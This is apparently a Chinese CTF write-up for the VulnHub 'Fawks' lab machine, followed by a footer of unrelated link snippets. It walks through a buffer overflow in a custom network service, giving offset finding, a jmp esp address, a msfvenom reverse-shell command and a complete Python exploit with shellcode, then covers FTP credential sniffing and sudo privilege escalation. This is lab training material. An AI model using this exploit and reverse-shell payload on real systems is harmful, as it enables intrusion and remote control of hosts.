信息收集

目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。

80端口的是一张图片,就是哈利波特的海报图。

anonymous空密码登上去有一个文件下载下来是二进制的文件

上kali里面运行看看。

可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。

ps -aux | grep server
ss -pantu | grep server

但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。

python -c "print('A'*500)"

在edb这里调试器报错了,提示的0x414141意思就是 A。

可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

确定溢出位置

使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。

msf-pattern_create -l 500

使用msf-pattern_offset来找偏移量。

msf-pattern_offset -l 500 -q 64413764

验证EIP和ESP位置

生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。

python -c "print('A'*112+'BBBB'+'Hi')"

可以构造脚本反弹shell了。

寻找可执行权限的。

找到jmp esp的位置。

在机器指令中,需要反向写。

08049d55
\x55\x9d\x04\x08

使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python

最终的payload:

#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c" payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
s=socket.socket()
s.connect(('192.168.45.10',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()

拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。

22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。

cat /proc/1/cgroup

翻找了一下找到一个flag和一个提示。

按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k

tcpdump -i eth0 port 21

登上ftp又得到一个flag。

试了一下ssh也能登录而且是宿主机。

拉下来之后修改一下里面sudo的位置。

将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。

scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py

vulnhub - Fawks - writeup的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  4. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  7. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  8. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  10. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

随机推荐

  1. Java实现常见查找算法

    Java实现常见查找算法 查找是在大量的信息中寻找一个特定的信息元素,在计算机应用中,查找是常用的基本运算,例如编译程序中符号表的查找. 线性查找 线性查找(Linear Search)是一种简单的查 ...

  2. 图解 LeetCode 算法汇总——二分查找

    二分查找(Binary Search)是一种在有序数组中查找特定元素的高效算法.它的基本思想是将目标值与数组中间的元素进行比较,如果目标值小于中间元素,则在数组的左半部分继续查找,否则在右半部分查找, ...

  3. ES6 Module模块,在vsCode中已服务器模式运行HTML文件

    操作步骤如下: 一.安装Live Server 插件 二.点击扩展设置 三.设置live server默认打开浏览器为"chrome" 四.配置-工作区 五.在HTML文件中,右键 ...

  4. “&”控制命令的运行方式

    在Unix.Linux和类Unix系统中,& 符号有特定的意义,用于控制命令的运行方式.具体来说,& 在命令末尾使用时表示将该命令放入后台运行. 前台运行: 如果你在终端输入一个命令, ...

  5. 【PHP正则表达式】

    [PHP正则表达式] 最近写题总是遇到php正则表达式的匹配函数,于是进行一个总结. 1.什么是正则表达式 是php在进行搜索时用于匹配的模式字符串.一般用于php对特定字符序列的替换和搜索. 2.正 ...

  6. 从零用VitePress搭建博客教程(6) -– 第三方组件库的使用和VitePress搭建组件库文档

    接上一节:从零用VitePress搭建博客教程(5) - 如何自定义页面模板.给页面添加独有的className和使页面标题变成侧边目录? 九.第三方组件库的使用 我们经常看见UI组件库的文档,这里我 ...

  7. 面试题:MySQL事务的ACID如何实现?

    大家好,我是[码老思],事务是一个数据库绕不开的话题,今天和大家一起聊聊. 事务是什么? 事务(Transaction)是并发控制的基本单位.所谓的事务呢,它是一个操作序列,这些操作要么都执行,要么都 ...

  8. MySQL索引、事务与存储引擎

    MySQL索引.事务与存储引擎 索引介绍 1.索引的概念 索引是一个排序的列表,在这个列表中存储着索引的值和包含这个值的数据所在行的物理地址(类似于C语言的链表通过指针指向数据记录的内存地址). 使用 ...

  9. 题解 P7325

    前言 数学符号约定 \(a,b,p\):表示任意自然数. \(F_x\):表示广义斐波那契数列的第 \(x\) 项. \(f_x\):表示普通斐波那契数列的第 \(x\) 项. 如非特殊说明,将会按照 ...

  10. DP:三角形的最小路径和

    给定一个三角形,找出自顶向下的最小路径和.每一步只能移动到下一行中相邻的结点上. 例如,给定三角形: [     [2],    [3,4],   [6,5,7],  [4,1,8,3]] 自顶向下的 ...